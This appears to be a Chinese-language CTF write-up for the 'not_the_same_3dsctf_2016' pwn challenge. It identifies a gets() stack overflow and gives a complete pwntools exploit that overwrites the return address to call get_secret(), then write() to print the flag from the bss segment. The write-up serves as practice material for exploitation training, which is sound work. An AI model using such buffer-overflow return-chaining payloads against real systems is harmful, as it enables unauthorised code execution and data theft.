not_the_same_3dsctf_2016
使用checksec查看:

只开启了栈不可执行。
放进IDA中分析:

gets(&v4);:存在栈溢出
在main()函数上面发现一个get_secret()函数:


fgets(&fl4g, 45, v0);:将读取到的flag存在了bss段上地址为080ECA2D
题目思路
- 主函数存在栈溢出,可通过该栈溢出将返回地址覆盖成
get_secret()的地址。 - flag已经读取到bss段中了,可通过
write函数将bss段中的flag给打印出来。
步骤解析
无需
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",27604)
# r = process("../buu/not_the_same_3dsctf_2016")
elf = ELF("../buu/not_the_same_3dsctf_2016")
#params
flag_func_addr = elf.symbols['get_secret']
flag_addr=0x80ECA2D
#attack
payload=b'M' * 45 + p32(flag_func_addr) + p32(elf.sym['write']) + b'M'*4 + p32(1) + p32(flag_addr) + p32(100)
r.sendline(payload)
r.interactive()
本文分析了3dsctf_2016竞赛中的not_the_same漏洞利用过程。通过栈溢出攻击覆盖返回地址调用get_secret函数,并使用write函数打印出位于bss段上的flag。文章提供了详细的步骤和攻击载荷的Python示例代码。

被折叠的 条评论
为什么被折叠?



